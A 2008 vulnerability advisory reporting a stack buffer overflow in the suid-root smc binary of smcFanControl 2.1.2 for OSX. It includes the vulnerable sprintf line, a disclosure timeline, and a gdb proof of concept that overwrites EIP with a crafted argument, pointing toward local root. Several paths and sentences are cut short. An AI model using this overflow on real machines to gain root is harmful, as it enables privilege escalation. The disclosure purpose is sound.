smcFanControl 2.1.2 (OSX) - Multiple Buffer Overflow Vulnerabilities (PoC)










2008-11-11 ADVISORY 2008-11

:Title: Buffer overflows in smcFanControl 2.1.2 for OSX
:Severity: Critical
:Reporter: KaiJern, Lau ( kjlau at
:Products: smcFanControl 2.1.2
:Fixed in: to be release smcFanControl 2.1.3

About smcFanControl

First of all, this is a very wonderul software and most of the macbook install
with this software. A big credit for the author Hendrik Holtmann.

Quote from the Official WebSite :

smcFanControl lets the user set the minimum speed of the build in fans.
So you can increase your minimum fan speed to make your intel mac run cooler.

However in order not to damage your machine scFanControl let's you not
set minimum
speed to a rate under Apple's defaults. In addition to that fans are
still in automatic
mode, so the speed of your fans will increase, if CPU load gets higher.


First of all, let us look at

Input option of smc -k was not able to handle large buffer. This will
end up with a buffer overflow bug.

Code from smc.c

-- snip snip --

int main(int argc, char *argv[])
    int c;
    extern char   *optarg;
    extern int    optind, optopt, opterr;

    kern_return_t result;
    int           op = OP_NONE;
    UInt32Char_t  key = "\0";
    SMCVal_t      val;

    while ((c = getopt(argc, argv, "fhk:lrw:v")) != -1)
        case 'f':
            op = OP_READ_FAN;
        case 'k':
            sprintf(key, optarg); // Overflow !!!

-- snip snip --

$ ls -alF /Applications/
-r-sr-sr-x  1 root  admin  18212 Jun 13  2007

With default installation, smc binary is always install with suid
root. There is a possibility
for a local user to gain root privilege.

It has not been verified if other version (version 1.x maybe) are also


Upgrade to latest version.


Hendrik Holtmann releasing smcFanControl 2.1.3.

---------- adapts `RFPolicy v2.0
<>`_ in notifying vendors.

:Initial vendor contact:

  Nov 10th, 2008: Initial contact sent to, while we
are having coffee.

:Vendor response:

  Nov 10th, 2008: Hendrik Holtmann response as soon as we finish our coffee.

:Further communication:

  Nov 10th, 2008: Technical summary sent to Hendrik Holtmann.
  Nov 11th, 2008: Hendrik Holtmann responded with version upgrade. Fixed.

:Public disclosure: 12th Nov 2008

:PoC code:

Exploit for the first overflow written by KaiJern, Lau


$ gdb -q /Applications/
Reading symbols for shared libraries ... done
(gdb) r -k `ruby -e 'print "A" * 45'`BBBBCCCC
Starting program:
/Applications/ -k `ruby -e
'print "A" * 45'`BBBBCCCC
Reading symbols for shared libraries ++........ done

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x43434343
0x43434343 in ?? ()
(gdb) i r
eax            0x0      0
ecx            0xbfffeb8c       -1073747060
edx            0x94bf94a6       -1799383898
ebx            0x41414141       1094795585
esp            0xbfffed60       0xbfffed60
ebp            0x42424242       0x42424242
esi            0x41414141       1094795585
edi            0x41414141       1094795585
eip            0x43434343       0x43434343
eflags         0x10282  66178
cs             0x17     23
ss             0x1f     31
ds             0x1f     31
es             0x1f     31
fs             0x0      0
gs             0x37     55


Blog :


Special Thanks to

- Hack In The Box,
- Blue Moon Consulting Co., Ltd,


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# [2008-11-11]